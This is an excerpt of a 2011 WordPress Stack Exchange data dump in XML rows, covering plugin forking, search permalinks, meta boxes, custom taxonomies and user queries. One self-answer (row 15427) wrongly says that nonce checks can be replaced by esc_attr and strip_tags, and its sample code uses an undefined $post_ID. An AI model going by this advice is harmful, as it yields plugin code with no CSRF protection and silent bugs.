  <row Id="15415" PostTypeId="2" ParentId="15379" CreationDate="2011-04-22T21:30:05.983" Score="4" ViewCount="" Body="&lt;p&gt;There is no real &quot;fork&quot; option with SVN. You can check out a copy of the plugin then make changes but there is no way to submit them back as the same plugin name without admin access.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few options (in order of best to worst IMO):    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) See if the original author will grant you admin access (this is sometimes the case if they have abandon the plugin and you ask them nicely to take it over)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Create a patch and send it to the original author (sometimes authors abandon plugins because they don't have time but are willing to accept patches)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) Create a new plugin based on the original code, give it a new name you can follow the steps in Wyck's answer for this. (If you do this I would make sure to credit the original author in the source and possibly in the readme) &lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-22T21:30:05.983" CommentCount="2" />
  <row Id="15416" PostTypeId="2" ParentId="15092" CreationDate="2011-04-22T21:42:11.967" Score="0" ViewCount="" Body="&lt;p&gt;Of course it's possible pretty much everything is possible. It just might take some work. Being that they are both php apps you should be able to replace your normal comment block in your WordPress theme with a Vanilla forum thread. You would want to run a Vanilla query that creates a new thread for each post &lt;a href=&quot;http://vanillaforums.org/docs&quot; rel=&quot;nofollow&quot;&gt;(see docs)&lt;/a&gt; then just get the tread by title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I couldn't give you a step by step how to but this should at least get you started.&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-22T21:42:11.967" />
  <row Id="15417" PostTypeId="2" ParentId="14519" CreationDate="2011-04-22T21:56:45.063" Score="0" ViewCount="" Body="&lt;p&gt;Not sure is this helps but there is a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/user-spam-remover/&quot; rel=&quot;nofollow&quot;&gt;User Spam Remover&lt;/a&gt; which removes inactive accounts and looks for spam bots. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use &lt;a href=&quot;http://wordpress.org/extend/plugins/sabre/&quot; rel=&quot;nofollow&quot;&gt;Sabre&lt;/a&gt; (Simple Anti Bot Registration Engine) Which has a bunch of advanced options to prevent spam bots. I would look at the stealth options which allow you to set timeout and check against blacklist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be able to run the e-mail address though &lt;a href=&quot;http://akismet.com&quot; rel=&quot;nofollow&quot;&gt;akismet&lt;/a&gt; using their &lt;a href=&quot;http://akismet.com/development/&quot; rel=&quot;nofollow&quot;&gt;PHP libraries&lt;/a&gt; and creating a custom plugin. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="2204" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-22T22:03:03.287" LastActivityDate="2011-04-22T22:03:03.287" />
  <row Id="15418" PostTypeId="1" CreationDate="2011-04-22T22:17:45.163" Score="5" ViewCount="364" Body="&lt;p&gt;I'd like to know how I can rewrite a search URL that also contains an extra query var into a pretty permalink using &lt;code&gt;wp_redirect&lt;/code&gt; and the &lt;code&gt;template_redirect&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken the code from the &lt;a href=&quot;http://wordpress.org/extend/plugins/nice-search/&quot; rel=&quot;nofollow&quot;&gt;Nice Search&lt;/a&gt; plugin which works fine to change &lt;code&gt;http://example.com?s=africa&lt;/code&gt; into &lt;code&gt;http://example.com/search/africa&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'my_rewrite' ) );&#xA;&#xA;function my_rewrite() {&#xA;&#xA;        if ( is_search() and false === strpos( $_SERVER['REQUEST_URI'], '/search/' ) ) {&#xA;            wp_redirect( get_bloginfo( 'home' ) . '/search/' . str_replace( ' ', '+', str_replace( '%20', '+', get_query_var( 's' ) ) ) );&#xA;            exit();&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am using a select dropdown in combination with the &lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;Relevanssi&lt;/a&gt; plugin to allow visitors to narrow down the search to a particular post type. This adds a &lt;code&gt;post_type&lt;/code&gt; query var, e.g. &lt;code&gt;http://example.com?s=africa&amp;amp;post_type=features&lt;/code&gt;. I would like this to have a URL something like &lt;code&gt;http://example.com/search/africa/section/features&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Nice Search code causes the post_type query var to be lost. So I tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_rewrite() {&#xA;&#xA;    if ( is_search() and false === strpos( $_SERVER['REQUEST_URI'], '/search/' ) ) {&#xA;        if ( isset( $_GET['post_type'] ) and '' !== $_GET['post_type'] ) {&#xA;            wp_redirect( get_bloginfo( 'home' ) . '/search/' . str_replace( ' ', '+', str_replace( '%20', '+', get_query_var( 's' ) ) ) . '/section/' . str_replace( ' ', '+', str_replace( '%20', '+', get_query_var( 'post_type' ) ) ) );&#xA;        } else {&#xA;            wp_redirect( get_bloginfo( 'home' ) . '/search/' . str_replace( ' ', '+', str_replace( '%20', '+', get_query_var( 's' ) ) ) );&#xA;        }&#xA;        exit();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but WordPress now thinks the search term is &lt;code&gt;africa/section/features&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can keep the search term and the query var all in a nice permalink?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Simon&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-06-04T12:10:11.090" Title="Pretty permalinks for search results with extra query var" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;search&gt;&lt;wp-redirect&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15419" PostTypeId="1" CreationDate="2011-04-22T22:30:32.713" Score="0" ViewCount="34" Body="&lt;p&gt;I'll be moving my blog from another engine to WordPress shortly.  However, I am a complete noob to WordPress.  So I am wanting to at least replicate the functionality my old blog used to have.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There are a dozen Adsense plugins, not sure how to choose. Recommendations?&lt;/li&gt;&#xA;&lt;li&gt;Likewise there a ton of Google Analytics plugins.  Anything in particular I should look for?&lt;/li&gt;&#xA;&lt;li&gt;Anything else I should look out for?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4838" LastActivityDate="2011-04-23T04:02:50.793" Title="Moving to a WordPress blog. What do I need to know?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;google-analytics&gt;&lt;adsense&gt;" AnswerCount="2" />
  <row Id="15420" PostTypeId="1" AcceptedAnswerId="15431" CreationDate="2011-04-22T23:02:06.653" Score="0" ViewCount="28" Body="&lt;p&gt;Will adding code similar to what I've pasted below to the functions.php theme file slow down a Wordpress site or effect CPU? (Thank You)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menu_items() {&#xA;  global $menu;&#xA;  $restricted = array(__('Links'), __('Comments'), __('Media'),&#xA;  __('Plugins'), __('Tools'), __('Users'));&#xA;  end ($menu);&#xA;  while (prev($menu)){&#xA;    $value = explode(' ',$menu[key($menu)][0]);&#xA;    if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){&#xA;      unset($menu[key($menu)]);}&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4839" LastActivityDate="2011-04-23T04:30:15.683" Title="Functions file mods and CPU" Tags="&lt;functions&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="15421" PostTypeId="2" ParentId="15419" CreationDate="2011-04-22T23:17:29.103" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There are a dozen Adsense plugins, not sure how to choose. Recommendations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't use one, so no opinion.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Likewise there a ton of Google Analytics plugins. Anything in particular I should look for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics by Yoast&lt;/a&gt; is good one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anything else I should look out for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Don't go overboard with plugins from the start, take in account if they are maintained and tested with recent WP version. It takes some time to pick up who solid &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2404/who-are-the-most-trusted-plugin-developers&quot;&gt;reputable developers are&lt;/a&gt; and much more time to recognize plugin quality by the code alone.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-22T23:17:29.103" />
  <row Id="15422" PostTypeId="2" ParentId="14960" CreationDate="2011-04-22T23:27:05.977" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=wordpress%20adding%20logout%20to%20menu&quot; rel=&quot;nofollow&quot;&gt;Google is your friend&lt;/a&gt;. Here is a snippit I found I didn't test it but seems logical. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // functions.php&#xA;function add_login_logout_link($items, $args)&#xA;{&#xA;  if(is_user_logged_in())&#xA;  {&#xA;    $newitems = '&amp;lt;li&amp;gt;&amp;lt;a title=&quot;Logout&quot; href=&quot;'. wp_logout_url('index.php') .'&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    $newitems .= $items;&#xA;  }&#xA;  else&#xA;  {&#xA;    $newitems = '&amp;lt;li&amp;gt;&amp;lt;a title=&quot;Login&quot; href=&quot;'. wp_login_url('index.php') .'&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    $newitems .= $items;&#xA;  }&#xA;  return $newitems;&#xA;}&#xA;add_filter('wp_nav_menu_items', 'add_login_logout_link', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://erisds.co.uk/wordpress/snippet-wordpress-3-0-menus-add-a-login-logout-link&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-22T23:27:05.977" />
  <row Id="15423" PostTypeId="1" AcceptedAnswerId="15427" CreationDate="2011-04-23T00:26:44.630" Score="0" ViewCount="269" Body="&lt;p&gt;Post save functions are conflicting with each other when adding them to the save_post action hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 different custom post types with 2 different (one for each post type) custom meta boxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm only including the code for 1 of the meta boxes.  The other one is very similar and each one works fine separately but not together.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The 'register_metabox_cb' call back function:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_video_meta() {&#xA;    add_meta_box('_c3m_video_embed', __('Enter Video Embed Code In the Box Below') , 'c3m_video_embed', 'video', 'normal', 'low');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Adding the meta box to the post edit screen:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_video_embed($post) {&#xA;    global $post;&#xA;    wp_nonce_field(__FILE__,'video_nonce');&#xA;    $embed-code = get_post_meta($post-&amp;gt;ID, '_embed-code', true);&#xA;    echo '&amp;lt;input type=&quot;text&quot; name=&quot;_embed-code&quot; value=&quot;&quot;' . $embed-code . '&quot; class=&quot;widefat&quot; /&amp;gt;' ; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The save function:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function c3m_save_video_meta( $post_id , $post ) { &#xA;&#xA;            if ( !wp_verify_nonce( $_POST [ 'video_nonce' ], __FILE__ ) ) { return $post -&amp;gt;ID; &#xA;            }&#xA;            if ( !current_user_can( 'edit_post' , $post -&amp;gt;ID )) return $post -&amp;gt;ID; &#xA;            $c3m_video_embed-code [ '_embed-code' ] = $_POST [ '_embed-code' ]; &#xA;                        foreach ( $c3m_video_embed-code as $key =&amp;gt; $value ) { &#xA;                        if ( $post -&amp;gt;post_type == 'revision' ) return ; &#xA;&#xA;                        $value = implode( ',' , ( array ) $value );&#xA;                        if (get_post_meta( $post -&amp;gt;ID, $key , FALSE)) { &#xA;                        update_post_meta( $post -&amp;gt;ID, $key , $value ); } else { &#xA;                        add_post_meta( $post -&amp;gt;ID, $key , $value ); } if (! $value ) delete_post_meta( $post -&amp;gt;ID, $key ); &#xA;                        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The action hooks:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'admin_menu' , 'c3m_video_meta' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'save_post' , 'c3m_save_video_meta' , 1, 2);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine and dandy and works but when I add another meta box to a different post type and use a similar function (different function name, nonce name and key ) when the post is saved I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined index: _embed-code&#xA;  in&#xA;  /Applications/MAMP/htdocs/wordpress/wp-content/plugins/ieew-custom-functions/ieew-custom-functions.php&#xA;  on line 181&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Cannot modify header&#xA;  information - headers already sent by&#xA;  (output started at&#xA;  /Applications/MAMP/htdocs/wordpress/wp-content/plugins/ieew-custom-functions/ieew-custom-functions.php:181)&#xA;  in&#xA;  /Applications/MAMP/htdocs/wordpress/wp-includes/pluggable.php&#xA;  on line 897&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The undefined _embed-code is when saving the post that does not contain the _embed-code variable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the error messages are reversed depending on wich post type I try to save it leads me to believe that both (2 different) save functions are being added to the save_post action.  They are also being added when saving a normal post.  If I'm only using 1 of the save functions there are no errors when saving a normal post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than this question being a &lt;strong&gt;&quot;Fix My Code&quot;&lt;/strong&gt; question I would rather the answer contain the how and why of adding custom meta boxes and using the various nonce methods.  Sure I could use the More Fields plugin but I would rather learn the best way to accomplish customizing the post edit screen with custom content types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used this same code and method to add multiple meta boxes to a single custom post type and it has always worked fine. &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-23T16:07:35.290" Title="Conflicting save_post functions when passing the post id and saving custom meta boxes for different post types" Tags="&lt;plugin-development&gt;&lt;metabox&gt;&lt;save-post&gt;" AnswerCount="2" />
  <row Id="15424" PostTypeId="1" AcceptedAnswerId="15500" CreationDate="2011-04-23T00:54:30.783" Score="0" ViewCount="141" Body="&lt;p&gt;Is it possible to create the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A new page dynamically daily, containing the last three posts&lt;/li&gt;&#xA;&lt;li&gt;Archive this page, so that tomorrow's page is a new page, with the three newest posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically I'd like to use WordPress for our news releases, we publish three each day. The day's page should contain all three stories, and then be archived so the next day's page can be created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any ideas how to setup something like this I'd appreciate it. &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-04-25T22:10:16.933" Title="Automatically create a new page daily with last three posts" Tags="&lt;posts&gt;&lt;page&gt;&lt;archive&gt;" AnswerCount="2" />
  <row Id="15425" PostTypeId="2" ParentId="15424" CreationDate="2011-04-23T01:06:01.413" Score="1" ViewCount="" Body="&lt;p&gt;WordPress will generate daily archives automatically. You can use &lt;code&gt;wp_get_archives( );&lt;/code&gt; and pass &lt;code&gt;array('type' =&amp;gt; 'daily')&lt;/code&gt; to get an archive menu broken down by day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your theme doesn't have an archive.php template, you can create one and the above pages will use that template. the &lt;code&gt;is_day()&lt;/code&gt; conditional will return true on daily archive pages, so you can style those separately.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-23T01:06:01.413" />
  <row Id="15426" PostTypeId="2" ParentId="14902" CreationDate="2011-04-23T01:49:32.763" Score="0" ViewCount="" Body="&lt;p&gt;I had the same problem. First I disabled all plugins, one by one, testing after each one, then I switched to the default theme (Twenty Ten), but the problem continued. So I went into the admin section to look at the pages. Those that I looked at had a parent of &quot;Main Page (no parent),&quot; so I changed one of them to &quot;Home&quot; just for the heck of it, and suddenly I could access it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went back to my orignal theme, and that page was also visible. I changed the parent back to &quot;Main Page (no parent)&quot; so it would show up as its own menu item rather than under Home, and now all of my pages are visible again. I don't know what happened. It's as if WP needed a kickstart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1.1 feels a little unstable to me. It's also not always recognizing HTML that I put into pages. Instead, it's displaying the tags as text on the page. Here's hoping the next upgrade irons this all out!&lt;/p&gt;&#xA;" OwnerUserId="4841" LastActivityDate="2011-04-23T01:49:32.763" />
  <row Id="15427" PostTypeId="2" ParentId="15423" CreationDate="2011-04-23T03:28:26.627" Score="0" ViewCount="" Body="&lt;p&gt;After doing some more research I found that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of hooking the &lt;code&gt;add_meta_box&lt;/code&gt; function into &lt;code&gt;admin_menu&lt;/code&gt; it should be hooked into &lt;code&gt;add_meta_boxes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Instead of the foreach loop use the &lt;code&gt;update_post_meta&lt;/code&gt; function on the save function&lt;/li&gt;&#xA;&lt;li&gt;Instead of using the &lt;code&gt;wp_nonce_field&lt;/code&gt; the data can be sanitized using &lt;code&gt;esc_attr&lt;/code&gt; and &lt;code&gt;strip_tags&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;To pass the post id to the save meta box function you don't need to include the additional $post variable&lt;/li&gt;&#xA;&lt;li&gt;You have to add a conditional state for the post type on the save function&lt;/li&gt;&#xA;&lt;li&gt;You have to call &lt;code&gt;global $post&lt;/code&gt; on the save function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;The new and much simpler code for adding both meta boxes:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      add_action( 'add_meta_boxes', 'c3m_sponsor_meta' );&#xA;        function c3m_sponsor_meta() {&#xA;                add_meta_box( 'c3m_sponsor_url', 'Sponsor URL Metabox', 'c3m_sponsor_url', 'sponsor', 'side', 'high' );&#xA;                }&#xA;&#xA;            function c3m_sponsor_url( $post ) {&#xA;                $sponsor_url = get_post_meta( $post-&amp;gt;ID, '_sponsor_url', true);&#xA;                echo 'Please enter the sponsors website link below';&#xA;                ?&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;sponsor_url&quot; value=&quot;&amp;lt;?php echo esc_attr( $sponsor_url ); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;?php&#xA;        }&#xA;&#xA;&#xA;        add_action( 'save_post', 'c3m_save_sponsor_meta' );&#xA;        function c3m_save_sponsor_meta( $post_id ) {&#xA;            global $post;&#xA;        if( $post-&amp;gt;post_type == &quot;sponsor&quot; ) {&#xA;        if (isset( $_POST ) ) {&#xA;            update_post_meta( $post_ID, '_sponsor_url', strip_tags( $_POST['sponsor_url'] ) );&#xA;        }&#xA;    }&#xA;    }&#xA;&#xA;        add_action( 'add_meta_boxes', 'c3m_video_meta' );        &#xA;        function c3m_video_meta() {&#xA;                add_meta_box( 'c3m_video_embed_code', 'Video Embed Code Meta Box', 'c3m_video_embed_code', 'video', 'normal', 'high' );&#xA;                }&#xA;&#xA;            function c3m_video_embed_code( $post ) {&#xA;&#xA;                $embed_code = get_post_meta( $post-&amp;gt;ID, '_embed_code', true);&#xA;                echo 'Please enter the video embed code below';&#xA;                ?&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;embed_code&quot; value=&quot;&amp;lt;?php echo esc_attr( $embed_code ); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;?php&#xA;        }&#xA;&#xA;        add_action( 'save_post', 'c3m_save_video_meta' );&#xA;        function c3m_save_video_meta( $post_id ) {&#xA;                global $post;&#xA;    if( $post-&amp;gt;post_type == &quot;video&quot; ) {&#xA;    if (isset( $_POST ) ) {&#xA;&#xA;        update_post_meta( $post_ID, '_embed_code', strip_tags( $_POST['embed_code'] ) );&#xA;    }&#xA;}&#xA;}       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-23T04:55:51.043" LastActivityDate="2011-04-23T04:55:51.043" />
  <row Id="15428" PostTypeId="2" ParentId="15419" CreationDate="2011-04-23T04:02:50.793" Score="1" ViewCount="" Body="&lt;p&gt;I've been using Google Analyticator, which also has a dashboard module. But, you may want to sign up for real-time analytics through GetClicky.com. There is a Clicky plug-in and dashboard widget. I prefer GetClicky over GA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use Google XML Sitemaps by Arne Brachhold. This is a must have plug-in, which creates the xml document to register your site with Google Webmaster Tools, as well as Bing and Yahoo! services as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using themes with built-in SEO, that's fine, but I tend to use All In One SEO, which allows me to keep my SEO separate from the theme, such that if I do away with the theme, I don't lose the SEO against all my posts.&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-04-23T04:02:50.793" />
  <row Id="15429" PostTypeId="2" ParentId="15092" CreationDate="2011-04-23T04:11:19.710" Score="1" ViewCount="" Body="&lt;p&gt;The downside of using a forum system for comments, is that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. the user probably has to register with the site to post a comment&#xA;B. the user may not have single sign on ability through Vanilla&#xA;C. you won't be storing your comments in a system that can export them and import them into another commenting engine, like Intense Debate or Disqus.&#xA;D. you're giving up the ability to use Facebook Comments--that's if that's important to you.&#xA;E. you lose all the moderation settings under Discussion, and you won't be able to see your comments in the WordPress admin against posts in the post editor, unless somehow you figure out how to program that in. It's important, so you can approve/deny or spam comments. Plus, you may not get the benefits of Akismet.&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-04-23T04:11:19.710" />
  <row Id="15430" PostTypeId="1" CreationDate="2011-04-23T04:21:02.790" Score="0" ViewCount="87" Body="&lt;p&gt;We just launched a custom home page for a site that uses the post excerpt and a featured image for all new posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the post contains a inadvertent &amp;amp;nbsp or  tag wrapped around a shortcode, it forces a duplicate title, such that the post has two titles. Or, in the case of the &amp;amp;nbsp, it will list a duplicate date at every point in the post the &amp;amp;nbsp exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog is fuelthefuture.adweek.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no specific examples to show, as I fixed the last one, which was a  tag wrapped around a short code for YouTube, added by Vipers Video Quicktags. I don't see it as being the plugin, because it happens with $nbsp too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why this would happen?&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-04-23T04:21:02.790" Title="&amp;nbsp and &lt;span&gt; tag around shortcode causing duplicate Title in a Post" Tags="&lt;posts&gt;&lt;title&gt;" CommentCount="1" />
  <row Id="15431" PostTypeId="2" ParentId="15420" CreationDate="2011-04-23T04:30:15.683" Score="0" ViewCount="" Body="&lt;p&gt;Nope or Not really or Not noticeably.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-23T04:30:15.683" />
  <row Id="15432" PostTypeId="1" CreationDate="2011-04-23T04:39:33.720" Score="0" ViewCount="86" Body="&lt;p&gt;Im trying to find a way to set the members search by name and also by username. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it seems to search only by name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-23T04:39:33.720" Title="BuddyPress - Search members by name and also by username" Tags="&lt;search&gt;" />
  <row Id="15433" PostTypeId="1" CreationDate="2011-04-23T05:01:50.197" Score="0" ViewCount="181" Body="&lt;p&gt;I have create a custom post type named &quot;jobs&quot;, and I want to create a set of category for that, ie like &quot;PHP Jobs&quot;, &quot;Python Jobs&quot; etc. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'show_in_menu' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'has_archive' =&amp;gt; true, &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 2,&#xA;    'taxonomies' =&amp;gt; array( 'post_tag', &quot;category&quot;),&#xA;    'menu_icon' =&amp;gt; WJ_PLUGIN_URL .'/images/admin_menu_icons.png',&#xA;  );&#xA;&#xA;register_post_type('jobs', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is nt listing that category or I can't assign a new post to that category. &#xA;While &lt;code&gt;$post = wp_insert_post( $post, false );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this also.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;..&#xA;..&#xA;..&#xA;'taxonomies' =&amp;gt; array( 'post_tag', &quot;job_category&quot;),&#xA;&#xA; register_taxonomy( 'job_category', 'jobs', array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Jobs Categories', 'query_var' =&amp;gt; true, 'rewrite' =&amp;gt; true ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No effect. &lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2011-04-23T06:14:42.037" Title="How to create new category for custom post type?" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="15434" PostTypeId="1" AcceptedAnswerId="15441" CreationDate="2011-04-23T05:11:07.910" Score="2" ViewCount="96" Body="&lt;p&gt;I have a site with many users and many of them have the same last name. I want to get the emails of all the users with the same last name (IE: Smith) that has a post related to a particular taxonomy term (IE: Baseball).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have this code that works great in getting all the users with the same last name ( thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike Schinkel&lt;/a&gt; ). I suck at using the JOIN function but I am learning and I really need this sooner than later, so I need help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  {$wpdb-&amp;gt;users}.user_email,&#xA;  {$wpdb-&amp;gt;usermeta}.meta_value&#xA;FROM&#xA;  {$wpdb-&amp;gt;users}&#xA;  LEFT JOIN {$wpdb-&amp;gt;usermeta} ON {$wpdb-&amp;gt;users}.ID = {$wpdb-&amp;gt;usermeta}.user_id&#xA;WHERE 1=1&#xA;  AND {$wpdb-&amp;gt;users}.user_status = '0'&#xA;  AND {$wpdb-&amp;gt;usermeta}.meta_key = 'last_name'&#xA;  AND {$wpdb-&amp;gt;usermeta}.meta_value = 'Smith'&#xA;SQL;&#xA;  $usersemails = $wpdb-&amp;gt;get_results($sql);&#xA;  header('Content-type:text/plain');&#xA;  print_r($usersemails); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your time is greatly appreciated and I will pay it forward. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="4777" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-23T07:19:06.387" LastActivityDate="2011-04-23T07:42:31.897" Title="Querying Email Addresses for a List of Users with Same Last Name?" Tags="&lt;users&gt;&lt;wpdb&gt;&lt;sql&gt;&lt;usermeta&gt;" AnswerCount="1" CommentCount="0" />
